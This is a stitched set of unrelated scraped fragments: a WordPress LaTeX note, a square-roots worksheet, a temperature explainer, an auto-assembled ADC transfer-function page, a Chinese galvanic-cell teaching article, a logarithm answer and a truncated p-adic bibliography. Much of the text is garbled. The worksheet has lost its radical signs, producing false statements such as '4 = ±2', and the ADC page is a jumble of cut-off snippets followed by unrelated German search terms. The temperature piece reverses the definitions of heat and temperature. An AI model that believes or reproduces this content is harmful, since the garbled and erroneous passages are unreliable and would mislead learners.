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[ "so, i didn’t know about this, but it looks like WP has support for Latex, so if ever i feel like geeking out on here, i no longer have to jump through hoops to display something even as convoluted as this craziness (from the above page):", null, "$i\\hbar\\frac{\\partial}{\\partial t}\\left|\\Psi(t)\\right>=H\\left|\\Psi(t)\\right>$\n\n…for which the code is simply:\n\n$latex i\\hbar\\frac{\\partial}{\\partial t}\\left|\\Psi(t)\\right>=H\\left|\\Psi(t)\\right>$\n\nsome more to be found in the WordPress-Latex FAQ." ]

[ null, "https://s0.wp.com/latex.php", null ]

[ "# Understanding Square Roots The square root of a given number is a", null, "```Understanding Square Roots\nThe square root of a given number is a value that, when multiplied by itself, produces\nthat given number. Square roots come in pairs, a positive root and a negative root.\nFor example, a square root of 4 is 2, because 2 × 2 = 4. Another square root of 4 is −2,\nbecause −2 × −2 = 4. This can be written as 4 = ±2, which means that 4 = 2 and\n4 = −2.\nNote: You can not take the square root of a negative number.\nTo better understand square roots, it is very helpful to be familiar with perfect squares. A\nperfect square is the square of an integer:\nexample 1\nWhich of the following statements about 121 is not true?\nA.\n121 is an irrational number.\nB.\n121 is an integer.\nC.\n121 is a real number.\nD.\n121 is a rational number.\nTo answer this question, knowledge of perfect squares is extremely helpful. A square\nroot is an irrational number, unless it is the square root of a perfect square:\n11 is an integer and a real number and a rational number, but 11 is not an irrational\nnumber, so 121 is not an irrational number.\nSimplifying Square Roots\nTo simplify the square root of a number, find two factors of that number, one of which is\na perfect square.\n(A factor is an integer that divides evenly into another number.)\nexample 2\nSimplify 18 .\nThis example demonstrates the following property of square roots:\nThis applies to fractions as well:\nexample 3\nSimplify\n4\n.\n9\nexample 4\nSimplify\n32\n.\n20\nIt’s not acceptable to leave a square root (also called a radical) in the denominator of a\nfraction. The way to leave an answer without a radical in the denominator is to multiply\nthe numerator and denominator by the same radical that is in the denominator.\nThis is called rationalizing the denominator.\nEstimating the Value of a Square Root\nPerfect squares can also be used to estimate the approximate value of a square root.\nexample 5\nWhich is the best approximation of\nA.\nB.\nC.\nD.\n72 ?\n7.2\n9.1\n8.9\n8.5\nexample 6\nThe square root of 31 is between which two whole numbers?\nA.\nB.\nC.\nD.\n4 and 5\n5 and 6\n6 and 7\n7 and 8\nThis problem can also be solved by first making a list of perfect squares.\n31 is between 25 and 36, so the square root of 31 is between 25 and 36 , or\nbetween 5 and 6.\nexample 7\nA part of the real number line is shown below.\nQ\n0\n5\nR\nS\n10\n15\nT\n20\n25\nWhich letter best represents the location of 50 ?\nA.\nB.\nC.\nD.\nQ\nR\nS\nT\nOnce again, a list of perfect squares will help, this time near 50.\n50 is really close to 49, so 50 will be close to 49 , or 7. On the number line above,\nonly one point looks like it could represent a value near 7.\nName ______________________________\nSimplify. Leave in radical form (in other words, don’t use a calculator).\n1)\n20\n2) − 64\n3)\n900\n4)\n0.16\n5) − 0.0025\n6)\n16\n25\n7)\n3\n27\n8)\n10)\n8 · 32\n4\n3\n11) 5 14 · 2 7\n9)\n3\n7\n12) − 3 5 ·\n4\n5\nName the integers between which each value lies (without using a calculator).\n13)\n11\n15) 2 3\n17)\n25\n2\n14 )\n34\n16 ) 3 6\n18)\n14\n2\nLabel each statement as true or false (without using a calculator).\n19) 2 < 7 < 3\n20) 62 < 65 < 72\n21) 22 < 20 < 32\n22)\n45 < 10 < 90\n```" ]

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[ "## Thursday, May 10, 2012\n\n### Unpacking the Common Core - Math\n\n1. Standards for Mathematical Practice\n1. Make sense of problems and persevere in solving them.\n2. Reason abstractly and quantitatively.\n3. Construct viable arguments and critique the reasoning of others.\n4. Model with mathematics.\n5. Use appropriate tools strategically.\n6. Attend to precision.\n7. Look for and make use of structure.\n8. Look for and express regularity in repeated reasoning.\n• There is a general underlying theme in the Common Core Math standards that the Standards for Mathematical Practice and Standards for Mathematical Content should be connected throughout learning and instruction. (Each practice should regularly be seen within each content area.)\n2. Standards for Mathematical Content K-8\n(Click on each standard for a more specific definition.)\n• Kindergarten\n3. Standards for Mathematical Content High School\n• Number and Quantity\n• Algebra\n• Functions\n• Modeling\n• Geometry\n• Statistics and Probability\n1.", null, "" ]

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[ "Home | Physics | What is Temperature?-Definition, Measurement, Scales, And Conversion\n\n# What is Temperature?-Definition, Measurement, Scales, And Conversion\n\nAugust 24, 2022", null, "written by Adeel Abbas\n\nThe average kinetic energy of the particles in an object is a type of energy associated with motion and temperature is a measure of how hot or cold an object is.\n\n## What is Temperature?\n\nThe temperature is related to the hotness or coldness of the body. It is the method of determining the kinetic energy of particles within an object. The movement of particles is faster when the temperature is higher. The hotness of matter or radiation is expressed by the amount of temperature.\n\n### Temperature Units\n\nThe system’s international unit of temperature is kelvin which is a base unit. It is denoted by the symbol K.\n\nTemperature is also measured in celsius. It is often convenient to use the Celsius scale, in which 0 °C corresponds very closely to the freezing point of water and 100 °C is its boiling point at sea level, for everyday applications.\n\n## Relation Between Kinetic energy and temperature\n\nKinetic energy is the energy the body has when it moves. Molecules have different kinetic energies because not all molecules move at the same speed. When a substance absorbs heat, the particles move faster, increasing their average kinetic energy and thus increasing their temperature.\n\nThe average kinetic energy of the particles of that substance is related to the temperature of that substance. When a substance is heated, some absorbed energy is stored within the particles, while other energy increases the motion of the particles. It is registered as an increase in the temperature of the substance.\n\n## Temperature and Heat\n\nThe average energy of the motions of the molecule in the substance is referred to as heat and the total energy of the motions is referred to as temperature.\n\nThe temperature and the heat are not the same things. The total energy of the atoms of a substance is known as heat energy. The temperature is the amount of energy that the atoms of a substance have.\n\n## Temperature Scales\n\nWell-defined scales of measurement are what Thermometers measure temperature on. Three of the most common temperature scales are the\n\n• Fahrenheit scale\n• Celsius scale\n• kelvin scale\n\n## How does a Thermometer Measure Temperature?\n\nThermometers are the most widely used instrument to measure temperature. The liquid Thermometer is the simplest of the thermometers. The glass tube is filled with a small amount of mercury. Thermal expansion is an increase in the volume of substances because of the increase in temperature.\n\nThe effect of a small temperature change on the volume of a liquid is maximized when the liquid expands in the thin tube of the thermometer. When mercury gets hotter it increases in size by an amount that is directly related to the temperature. If the temperature increases by 20 degrees, the mercury expands and moves up the scale twice as much as if the temperature increase is only 10 degrees.\n\nIt’s easy to make a Celsius scale because it’s based on the temperatures of ice and boiling water. The two fixed points are near each other. If we immerse the thermometer in boiling water, the mercury will rise to 100 °C, which is the lowest point on our scale. The intervals between 0 °C and 100°Care divided into 100°Cequally spaced intervals.\n\n## What is Absolute Zero?\n\nThe third law of thermodynamics states that at the absolute zero temperature, no energy can be removed from matter as heat. At this temperature, the matter has quantum-mechanical zero-point energy as predicted by the uncertainty principle, but it does not enter into the definition of an absolute temperature. The lowest temperature for an experiment is 100 pK, and absolute zero can only be reached very closely. The absolute zero is the same as −273.15 °C or −459.67 °F.\n\nFile Under:" ]

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[ "Home\n\n### microcontroller - ADC transfer function - Stack Overflo\n\n• ADC Transfer Function Real Ideal INL Curve INL Input Output INL = deviation of code transition from its ideal location ADC Integral Nonlinearity Best-Fit Best-Fit • A best-fit line (in the least-mean squared sense) fitted to measured data • Ideal converter steps found then INL measured Note: Typically INL #s smaller for best-fit compared to end-poin\n• The transfer function of an ADC is a plot of the voltage input to the ADC versus the code's output by the ADC. Such a plot is not continuous but is a plot of 2 N codes, where N is the ADC's resolution in bits. If you were to connect the codes by lines (usually at code-transition boundaries), the ideal transfer function would plot a straight line\n• For example, the linear potentiometer, PTA20432015CPB10, has a transfer function as shown in Figure 14.2, where the input x is distance in cm, and the output y is resistance in kΩ. You can use a simple circuit to convert resistance to voltage, the ADC to convert voltage to an integer, and simple software to convert an integer to distance\n\nFor an ideal ADC, the transfer function is a staircase with step width equal to the resolution. However, with higher resolution systems (≥16 bits), the transfer function's response will have a larger deviation from the ideal response. This is because the noise contributed by the ADC, as well as driver circuitry, can eclipse the resolution of the ADC. Furthermore, if a DC voltage is applied. The theoretical ideal transfer function for an ADC is a straight line, but this would require an infinite number of steps, and therefore an infinite number of bits to represent. A practical theoretical transfer function is a uniform linear staircase function, which is shown in Figure 2-1. The Data Sheet ADC We start by examining the frequency-domain transfer function of a multibit ADC operating on a sinewave input signal. The ADC samples this input at a frequency Fs, which (according to Nyquist theory) must be at least twice the input-signal bandwidth. An FFT analysis (left graph of Figure 1) shows a single tone with lots of random noise (known as quantization noise) extending from DC to Fs /2. A transfer function represents the relationship between the output signal of a control system and the input signal, for all possible input values. A block diagram is a visualization of the control system which uses blocks to represent the transfer function, and arrows which represent the various input and output signals\n\n1. Dynamic measurements are performed by feeding ADC with sine wave as the input. Fast Fourier Transforms are used to calculate output signal spectrum. A typical FFT spectrum distribution is shown next. ADC dynamic performance is characterised by following metrics SINAD/SFDR/SNHR/TH\n2. For a perfectly linear ADC, the straight-line fit would be directly down the middle of the ADC transfer function. The measured function, in blue, deviates away from the linear fit, so the ADC has.\n3. e the\n4. g the ADC is perfectly linear, or that a given change in input voltage will cr eate the same change in conversion cod\n5. This is because all of these errors are uncorrelated, and in the worst case offset, gain and linearity errors may not all occur at the same input voltage on the ADC transfer function. Hence, a simple summation of errors may make the system accuracy look unnecessarily worse. This is especially true if the dynamic range of the application is limited near the middle of the transfer function\n6. imizes the INL result and the endpoint line which is a line that passes through the points on the transfer function corresponding to the lowest and highest input code. In all cases, the INL is the maximum.\n7. Learn to measure ADC quantization and typical transfer function characteristics. Learn the basics of sampling by observing aliasing of sampled sine wave. Learn how to build a simple audio amplifier. Sample and record an audio signal for playback using the ACE and your audio amplifier. Background ADC Quantization and Transfer Function.\n\nC. Second Order Delta Sigma ADC Example To develop a basic understanding of the design flow of a ADC, an overview example is provided here. The design process will start with specifications such as input bandwidth and SNR. The delsig toolbox will be used to synthesize a transfer function and then realize it as a blocked diagram. The block. For applications where latency is critical (e.g. where the ADC is in the critical path of a closed loop), one is restricted to using a Flash or variant ADC. A design tradeoff which exists for pipeline ADCs is the choice between a larger number of bits resolved per stage (hence less latency, but more design complexity), or a fewer number of bits resolved per stage (hence increased latency, but.\n\nIf we replace Vref in equation (3), and after calculations, we can write the definition of the LSB as a function of the ADC's full-scale, as in equation (7). (7) This is the trouble, as the LSB has two definitions, equations (1) and (7). Both of them are valid, and some authors are ambiguous or confused about them. I have seen articles in which Vref is considered the component full-scale. The ideal transfer function of 3 bit ADC The output code will be its lowest (000) at less than 1/8 of the full-scale. ADC reaches its full-scale output code (111) at 7/8 of full scale. The transition to the maximum digital output does not occur at full-scale input voltage. The transition occurs at one code width—or least significant bit (LSB.\n\n### Enabling precision delta‐sigma ADCs in functional safety\n\nFigure 1: Ideal transfer function of a 3-bit ADC Figure 1 depicts an ideal transfer function for a 3-bit ADC with reference points at code transition boundaries. The output code will be its lowest (000) at less than 1/8 of the full-scale (the size of this ADC's code width). Also, note that the ADC reaches its full-scale output code (111) at 7/8 of full scale, not at the full-scale value. Thus. Transfer Function of A/D Converters . A transfer function of n-bit linear A/D converters (ADC) is depicted in Figure 1. The horizontal axis shows analog input level, and the vertical axis shows discrete code. Figure 1 (a) is an ideal transfer function, and (b) is an actual transfer function. L i and Lm i (i=0, 1, 2, ,\n\n### Fundamental Principles Behind the Sigma-Delta ADC Topology\n\n1. ADC Transfer Function on dsPIC30F4013 Hi all, I am working with ADC on dsPIC30F4013. I am trying to understand the transfer function, FRM Section 18.17. I have a couple of questions: 1. Do I understand it correctly that the first and last ADC steps (0x000 and 0xFFF) are only half in size as the rest (if middle steps span X Volts, the first and last steps span X/2 Volts)? 2. FRM Section 18.17.\n2. An ideal ADC can be described mathematically using a linear transfer function. Single Ended Input Idle ADC Transfer Graph Differential Input Idle ADC Transfer Graph Perfect ADC . Since ADC generates digital output, it is not possible to provide continuous output values. The perfect ADC performs the process of quantization during conversion. This results in a staircase transfer function where.\n3. I have also connected UART (PA3-PA2) and Potentiometer on ADC (PA0). My task is to transfer ADC reading to UART in DMA mode. LED and Button interrupt worked well, but as soon as i have added the code for ADC and USART handling it stopped working. Could you please advice, where is my mistake in ADC-DMA-UART processing and how can i fix it\n\n### Analog-to-digital converter - Wikipedi\n\n• Oversampled ADC Predictive Coding • Quantize the difference signal rather than the signal itself • Smaller input to ADC àBuy dynamic range • Only works if combined with oversampling • 1-Bit digital output • Digital filter computes average àn-Bit output + _ v IN d OUT Predictor ADC\n• als of the power supply, and a digital controller adapted to control operation of the at least one power switch responsive.\n• The transfer function H(z) can be calculated as Equation 4: Eq. 4 Equation 4 can be simplified in the general form of Equations 5 and 6: Eq. 5 Eq. 6 To avoid D-1 summations and multiplication, commonly a CIC filter is used to achieve a similar result. A CIC filter typically is made of an integra-tor followed by a subtractor. Before the signal is sent to a Comb filter, it is decimated (down.\n• e the frequency spectrum of a sampled signal (your voice recording), you need to read up a bit on the discrete Fourier transform and possibly how you can calculate it using a FFT algorithm\n\nADC transfer function providing improved dynamic regulation in a switched mode power supply . United States Patent 7315157 . Abstract: A power supply comprises at least one power switch adapted to convey power between input and output terminals of the power supply, and a digital controller adapted to control operation of the at least one power switch responsive to an output measurement of the. Adc transfer function providing improved dynamic regulation in a switched mode power supply ES05712231T ES2710900T3 (en) 2004-02-12: 2005-01-28: ADC transfer function that provides improved dynamic regulation in a switched-mode power supply US11/349,853 US7315157B2 (en) 2003-02-10: 2006-02-0 First, it is going to be assumed that the ADC under test has a midriser type of transfer function . This does not invalidate the results obtained for other types of transfer functions but. ADC transfer function providing improved dynamic regulation in a switched mode power supply Applications Claiming Priority (2) Application Number Priority Date Filing Date Title; US11/349,853 US7315157B2 (en) 2003-02-10: 2006-02-07: ADC transfer function providing improved dynamic regulation in a switched mode power supply US11/876,756 US7710092B2 (en) 2003-02-10: 2007-10-22: Self tracking ADC.\n\nThe DMA is a great tool to use with the ADC when you want to transfer lots of samples to memory continuously. It can be used for audio sampling, a custom oscilloscope, etc. The STM32 HAL makes it a little easier to use, as there's some built-in functions that control the DMA with the ADC, specifically. For this reason, I wanted to show how to set up the DMA manually in the previous example. ADC transfer function Hi all, Does any one show me how to analysis a ADC transfer function? Is there any way to check the frequency of a ADC? Ths, tdf\n\n### The ABCs of Analog to Digital Converters: How ADC Errors Af\n\nADC Transfer functions: Thus, we can use either \\\\$(2^N-1)\\\\$ or \\\\$2^N\\\\$, since correctly associated with FS or Vref values, respectively. According the plot (c) the bad news is that we can't measure the Vref value (indeed, identify when the transition to this value occurs). Of course, we can overcome the problem using resistive dividers and amp. ops on ADC input to matching the value we want. Two-step, piecewise-linear SAR ADC with programmable transfer function of each other, a wide array of transfer functions can be realised. This behaviour is achieved using thermometer encoding in the first stage, which allows for independently-programmable conversion segment widths, in contrast to binary weighting . Further, in order to linearly quantise each segment, the second stage. Pulse width, switching mode, power supply, ADC, transfer function. The present invention relates to a power supply comprising at least one power switch for transferring power between input and output terminals of the power supply, wherein the digital controller is operable to operate at least one power switch in response to the output value of the power supply. To control. The digital. Regular ideal pipeline ADC For an ideal residue function (B = 8, Offset = 0 V, Gain1 = Gain2 = 2.0, Compare level = 0.5 V, Pipe Stage = 0 and 17 Periods) 10 samples are generated per code and INL and DNL are 0. The difference of level between signal of -9 dB and total noise of -59 dB is close to SNR = 1.76 dB + 6.02 * 8 dB. The total noise level can only be calculated adding the sum of squares. The performance of current electronic devices is mostly limited by analog front-end and analog-to-digital converter's (ADC) actual parameters. One of the most important parameters is ADC nonlinearity. The correction of this imperfection can be accomplished in the output data but only if the nonlinearity is well characterized. Many approaches to ADC characterization have been proposed in.\n\n### Understanding analog to digital converter specifications\n\n1. ADC Transfer Functions Here are some of the transfer functions between the various sensors and the 68HC11's ADC. The MPU's ADC is mux'd to one of eight inputs (AN0 through AN7). All the inputs to the ECU have some high frequency by-passing, some have more filtering in a couple of the encapsulated modules (HY1 & HY2). These functions represent their DC characteristics. AN0 : This input is.\n2. Posted by Stargirl Flowers on July 18, 2020 · view all posts Getting the most out of the SAM D21's ADC. In my previous blog post, I walked through how to do a basic analog read using the SAM D21's Analog to Digital converter (ADC).While this simple setup can work for a lot of cases, it's not uncommon to want to get better performance or accuracy out of the ADC\n3. 1.2 ADC clock The ADC is driven by a clock derived from the MCU master clock through a programmable divider. This allows you to select the ADC clock speed according to your application requirements. The conversion and sampling speed depends on ADC clock. Each conversion step (described in Figure 4 to Figure 6) is performed in one ADC clock.\n4. CT ΔΣ ADC non-idealities: Quantizer Excess loop-delay (ELD) Clock jitter sensitivity RC time-constant variation CT- ΔΣ Design techniques: NRZ, RZ and switched-capacitor DACs Active-RC and gm-C implementations ELD compensation technique\n\n### Chapter 14: ADC, Data Acquisition and Contro", null, "", null, "", null, "### INL/DNL Measurements for Types of High-Speed Analog-to\n\nADC Transfer Function. Parent topic: (ADC2) Analog-to-Digital Converter with Computation Module. The Figure1 shows the ADC transfer function: the analog input voltage referred to the Full-Scale Range (FSR) vs. the digital output ADC code. In the example, a 3 bit ADC is taken into account. Figure1 - ADC conversion transfer function The principal ADC digital interfaces are: Parallel Single Data Rate (SDR), here you can find an example\n\n### ADC Accuracy Part 1: Is accuracy different from resolution\n\n1. Models of the ADC transfer function - sensitivity to noise Abstract: This paper describes several approaches of modeling nonlinearities of analog to digital converters (ADC). First results of three approximations are introduced and compared - the common polynomials, Chebyshev polynomials Fourier series. Published in: 2008 IEEE Instrumentation and Measurement Technology Conference. Article.\n2. I want to plot the output of my 9 bit ADC in a plot of code (from 0 to 512) versus analog input voltage. Here is my setup: I put in a ramp from -FS to FS. The length of the ramp is 512/Fs, where Fs=125Mhz so the length is 4.096 uS in order to see all the code transitions. My question is..\n3. www.adestotech.com Pipeline ADC Sample # 1 t SD L = 7 DCLK cycles t PD CLK DC LK D I[1 1 :0 ] DATA # 1 DATA # 2 Sample # 2 Sample # 3 t CDO V IN P\n4. g 10-Bit ADC with Vref=5v and Temperature Sensor Transfer Function of 10mV/°C\n5. Design an ADC with the transfer function shown in Figure 11.78. Label all chip numbers (but not pin numbers). Specify the =12,-12, and +5 power supply connections, resistor values, and capacitor values. Offset null potentiometers are not required. Figure 11.7\n6. another ADC transfer function which has differential non linearity errors at 14 from EE 174 at University of California, Santa Cru\n7. g your own two-point calibration on the chip. Return. ESP_OK: The calibration mode is supported in.\n\n### Oversampling with averaging to increase ADC resolution\n\n• Models of the ADC transfer function - sensitivity to noise Haasz, V., Slepicka, D., Suchanek, P. Details; Contributors; Bibliography; Quotations; Similar; Collections; Source . 2008 IEEE Instrumentation and Measurement Technology Conference > 583 - 587. Abstract . This paper describes several approaches of modeling nonlinearities of analog to digital converters (ADC). First results of three.\n• transfer function from 2 to ADC output. Sampling operation is denoted by [] ∗. NTF2 can be calculated by finding the discrete-time equivalent loop-filter and can be shown to. This article has been accepted for inclusion in a future issue of this journal. Content is final as presented, with the exception of pagination. JAYARAJ et al.: HIGHLY DIGITAL SECOND-ORDER VCO ADC 3 be NTF2(z.\n• The figure-1 above depicts simple pin diagram of n-bit ADC converter. The calculator above first calculates numerical digital output and then uses ADC conversion formula. Using the ADC formula, this number is being converted to binary value. Following ADC conversion formula or equation is used for this 8 bit Analog to digital converter calculator\n• k define the ADC transfer function, i.e., the relation between the input voltage and output code k. For an ideal ADC, the transition voltages of the transfer function, which is defined as in Fig. 1, are Tideal k = −FS +k ·Q. (1) They are equally spaced by an amount Q that is given, from the definition of the transfer function, by Q = 2.\n• al ADC code width is expected to be equal to a single LSB (least-significant bit), which is the right-most bit in a binary word representation. When the code width is normalized to V REF, q = 1/2 N. In the figure above, an example of a 3-bit ADC encoder transfer function is shown on the left, relating the digital output to the analog.\n• Transfer functions give the all outputs for all possible inputs for a system. I will not go further about the transfer functions, there are many online sources about them. In this sto r y, i will.\n• ADC transfer function, full-scale input range, number of bits Theoretically, an ADC's ideal transfer function is a straight line with the input voltage on the x-axis and the digital output code on the y-axis. The practical ideal transfer function (figure 1) has a uniform staircase formation. Figure 1 shows the ideal transfer function of a 3bit.\n\n### Transfer Function of Control System Electrical4\n\n• adc_transfer_complete = true; // Re-activate the DMA DMA_RefreshPingPong(DMA_CHANNEL_ADC, false, false, NULL, Main function never gets adc_transfer_complete = true so I suppose DMA never gets to callback function. How to make DMA work? Discussion Forums; 32-bit MCUs; Answered; Answered. Vincent_van_Bev. Replied Oct 23 2014, 10:46 AM. Hi Evgeny, You will need to define your DMA_CB_TypeDef.\n• Ideally, each code width (LSB) on an ADC's transfer function should be uniform in size. For example, all codes in Figure 2 should represent exactly 1/8th of the ADC's full-scale voltage reference. The difference in code widths from one code to the next is differential nonlinearity (DNL). The code width (or LSB) of an ADC is shown in Equation 1. The voltage difference between each code.\n• 3-Channel, Isolated, Sigma-Delta ADC with SPI Data Sheet ADE7912/ADE7913 Rev. B Document Feedback Information furnished by Analog Devices is believed to be accurate and reliable\n\n### Chapter 20: Analog to Digital Conversion [Analog Devices Wiki\n\n19-bit ADC, an industry-lead ambient light cancellation (ALC) circuit, and a picket fence detect and replace algorithm. Due to the low power consumption, compact size, easy, flexible-to-use, and industry lead ambient light rejection capability of the MAXM86161, the device is ideal for a wide variety of optical sensing applications such as heart rate detection and pulse oximetry. The MAXM86161. adc transfer function different model experimental verification adc nonlinearity different approximation common polynomial current device nonlinearity correction noise sensitivity chebyshev polynomial analogue-to-digital converter important parameter fourier series output data adc performanc ADC hardware oversampling for microcontrollers of the STM32 L0 and L4 series Introduction This application note provides an overview of the on-chip hardware Analog-to-Digital Converter (ADC) oversampling engine integrated in microcontrollers belonging to the STM32 L0 and L4 series. The main benefit the user can get from the hardware oversampling is increased SNR (signal-to-noise ratio) with. The ADCBuf driver has either the DMA or the CPU perform 5 transfers from the ADC to the sample buffers. Upon completion of 5 transfers the callback function will convert the results. The device will then wake up from sleep (LPM0) and print the results to the serial terminal. To verify, that everything works, you should see each buffer full of zeros when P5.5 is connected to GND and 3.3V when.\n\nfunctional block diagram aduc814 prog. clock divider xtal1 xtal2 t/h ain mux temp monitor internal band gap vref ain0 vref cref ain5 osc and pll dac1 dac0 buf buf dac1 dac control logic 12-bit adc adc logic buf power-on reset 8 kbytes flash/ee program memory 640 bytes flash/ee data memory 256 bytes user ram 3 × 16-bit timer/counters 1 × wake-up/rtc timer 10 × digital i/o pins 8051-based mcu.", null, "", null, "", null, "• Ihr seid Versager Joko und Klaas.\n• Pakistanische Kuchen Rezepte.\n• Interpunktionsleerzeichen.\n• FLOUREON support.\n• ROSSMANN Wäscheständer.\n• Wassermühle bauen.\n• PULS 24.\n• Teichbau Anleitung PDF.\n• Asher Millstone Season 5.\n• Datum Genitiv.\n• Spediteur Aufgaben.\n• Tatort Weimar Schauspieler.\n• Rouladen mit Hackfleisch und Käse.\n• BMW VIN Decoder Leebmann.\n• Canon MX925 Bedienungsanleitung.\n• Android Hintergrundbild senden.\n• Suspension workout.\n• LoungeKey lounges.\n• Godfrey Gao Todesursache.\n• Alle unsere guten Gaben alles alles was wir haben Lied.\n• Bottega Veneta Hobo Bag mini.\n• Summoners War Fran.\n• Ursachen Schlaganfall.\n• To you Übersetzung.\n• Geschäftsordnung Wirtschaftsausschuss.\n• Skype for Business kosten Schweiz.\n• Sailor Moon fanfiction.\n• DIAKOVERE Friederikenstift Schule.\n• Französische fussballerin.\n• Kölner Zeitschrift für Soziologie und Sozialpsychologie Archiv." ]

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[ "## Enhancing the Teaching of Physical Chemistry by Introducing Comprehensive Experiments: Taking the Galvanic Cell Design as an Example\n\nSi Yujun", null, ",, Liu Xinlu, Zhang Handan, Liu Shanshan, Liu Yixin\n\n 基金资助: 四川轻化工大学教学改革项目.  JG-1723四川省教育厅高等教育人才培养质量和教学改革项目.  JG2018-558", null, "Abstract\n\nA Galvanic cell was designed based on the acid-base neutralization reaction by undergraduates according to the electrochemical theory in physical chemistry. By carrying out the comprehensive experiments, the learning interest of undergraduates on physical chemistry was inspired. The understanding on the principle of electrochemistry was enhanced. In addition, the undergraduates also established an intuitive understanding on scientific research by combining the experiments with the theory. It is helpful to broaden the academic horizons of the undergraduates and strengthen their ability to apply theoretical knowledge to practice. The work is a beneficial exploration to innovate the teaching mode of physical chemistry.\n\nKeywords： Physical chemistry ; Comprehensive experiments ; Acid-base neutralization reaction ; Galvanic cell design\n\nSi Yujun. Enhancing the Teaching of Physical Chemistry by Introducing Comprehensive Experiments: Taking the Galvanic Cell Design as an Example. University Chemistry[J], 2021, 36(1): 1910051-0 doi:10.3866/PKU.DXHX201910051\n\n## 1 原电池设计基本理论\n\n${\\Delta _{\\rm{r}}}{G_{\\rm{m}}} = - zFE$\n\n(1) 对于氧化还原反应，根据某元素在反应前后化合价的变化，确定氧化还原电对，写出得电子的正极反应和失电子的负极反应方程式，从而确定电池的正极、负极和电解质溶液体系。\n\n(2) 对于非氧化还原反应，需在反应方程式两边加上同一物质，且该物质中某元素与原反应中的相同元素具有不同化合价，从而与原有物质构成氧化还原电对，据此写出电池的正、负极电极反应方程式，确定电池的正极、负极和电解质溶液体系。\n\n(3) 设计可逆电池，写出电池简式，考虑电极材料、溶液浓度、相界面(如双液电池必须加盐桥)等影响电池电动势的因素。\n\n(4) 检查所设计电池反应是否与原反应相吻合，判断电池设计的正确性。\n\n## 2 酸碱中和反应原电池的理论设计\n\n${{\\rm{H}}^ + }\\left( {{a_ + }} \\right) + {\\rm{O}}{{\\rm{H}}^ - }\\left( {{a_ - }} \\right) \\to {{\\rm{H}}_2}{\\rm{O}}\\left( {\\rm{l}} \\right)$\n\n$\\frac{1}{4}{{\\rm{O}}_2}\\left( {{\\rm{g}}, p} \\right) + {{\\rm{H}}^ + }\\left( {{a_ + }} \\right) + {\\rm{O}}{{\\rm{H}}^ - }\\left( {{a_ - }} \\right) \\to {{\\rm{H}}_2}{\\rm{O}}\\left( {\\rm{l}} \\right) + \\frac{1}{4}{{\\rm{O}}_2}\\left( {{\\rm{g}}, p} \\right)$\n\n${\\rm{O}}{{\\rm{H}}^ - }\\left( {a - } \\right) \\to \\frac{1}{2}{{\\rm{H}}_2}{\\rm{O}}\\left( 1 \\right) + \\frac{1}{4}{{\\rm{O}}_2}\\left( {g, p} \\right) + {e^ - }\\;\\;\\;\\;\\;\\;\\;\\;\\;\\; \\; \\; \\; \\; \\; \\; \\; \\; \\left( {E_ - ^{⊖} = 0.401{\\rm{V}}} \\right)$\n\n$\\frac{1}{4}{{\\rm{O}}_2}\\left( {g,p} \\right) + {{\\rm{H}}^ + }\\left( {{a_ + }} \\right) + {e^ - } \\to \\frac{1}{2}{{\\rm{H}}_2}{\\rm{O}}\\left( 1 \\right)\\;\\;\\;\\;\\;\\;\\;\\;\\;\\left( {E_ + ^{⊖} = 1.229{\\rm{V}}} \\right)$\n\n## 3 酸碱中和反应原电池的实现\n\n$E = {E^{⊖}} - \\frac{{RT}}{{zF}}\\ln \\frac{{{{\\left( {\\frac{{{p_{{o_2}}}}}{{{p^{⊖}}}}} \\right)}^{\\frac{1}{4}}}}}{{{a_ + } \\times {a_ - } \\times {{\\left( {\\frac{{{p_{{o_2}}}}}{{{p^{⊖}}}}} \\right)}^{\\frac{1}{4}}}}} = {E^{⊖}} - \\frac{{RT}}{F}\\ln \\frac{1}{{{a_ + } \\times {a_ - }}}$\n\n${a_i} = {\\gamma _i}\\frac{{{b_i}}}{{{b^{⊖}}}}$\n\n### 图1", null, "### 图2", null, "## 参考文献 原文顺序 文献年度倒序 文中引用次数倒序 被引期刊影响因子\n\nSi Y. ; Park M.G. ; Cano Z.P. ; Xiong Z. ; Chen Z. Carbon 2017, 117, 12.\n\nFu J. ; Liang R. ; Liu G. ; Yu A. ; Bai Z. ; Yang L. ; Chen Z. Adv. Mater. 2018, 1805230.\n\nShao M. ; Chang Q. ; Dodelet J.P. ; Chenitz R. Chem. Rev. 2016, 1163594.\n\n/\n\n 〈", null, "〉", null, "" ]

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[ "# How to calculate log 0.9821*10^6 ?\n\nJun 18, 2018\n\nShould you not specify the BASE of the logarithmic function...?\n\n#### Explanation:\n\nIf it is ${\\log}_{10} 0.9821 \\times {10}^{6}$...this is approx. equal to $6$...we get a more or less exact value from the calculator...${\\log}_{10} 0.9821 \\times {10}^{6} \\equiv 5.992$...\n\nBut if we use natural logarithms (and since the base is UNSPECIFIED I would be justified in assuming this, the most natural base) we got...\n\n${\\log}_{e} 0.9821 \\times {10}^{6} \\equiv 13.797$...\n\nAs always when we write ${\\log}_{a} b = c$...I ask to what power I raise the base $a$ to get $b$...and here ${a}^{c} = b$. By way of example....\n\n${\\log}_{10} \\left(0.1\\right) = {\\log}_{10} \\left({10}^{- 1}\\right) = - 1$\n\n${\\log}_{10} \\left(100\\right) = {\\log}_{10} \\left({10}^{2}\\right) = 2$\n\n${\\log}_{10} \\left(1000000\\right) = {\\log}_{10} \\left({10}^{+ 6}\\right) = 6$\n\nWith me...?" ]

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[ "Page 1 Next\n\n## Displaying 1 – 20 of 86\n\nShowing per page\n\n### $𝐐$-algebre $p$-adiche e loro rappresentazioni\n\nAnnali della Scuola Normale Superiore di Pisa - Classe di Scienze\n\n### A criterion for rational places over local fields.\n\nJournal für die reine und angewandte Mathematik\n\nActa Arithmetica\n\n### A p-adic Perron-Frobenius theorem\n\nActa Arithmetica\n\nWe prove that if an n×n matrix defined over ℚ ₚ (or more generally an arbitrary complete, discretely-valued, non-Archimedean field) satisfies a certain congruence property, then it has a strictly maximal eigenvalue in ℚ ₚ, and that iteration of the (normalized) matrix converges to a projection operator onto the corresponding eigenspace. This result may be viewed as a p-adic analogue of the Perron-Frobenius theorem for positive real matrices.\n\n### Adeles and differential forms.\n\nJournal für die reine und angewandte Mathematik\n\n### Algebraic Weyl system and application\n\nAnnales mathématiques Blaise Pascal\n\n### Approximations diophantiennes et problèmes additifs dans les groupes abéliens localement compacts\n\nBulletin de la Société Mathématique de France\n\n### Bemerkungen zur Theorie der formal p-adischen Körper\n\nBeiträge zur Algebra und Geometrie = Contributions to algebra and geometry\n\n### Caractérisation des ensembles ${S}_{q}$ par la répartition modulo $1$ en 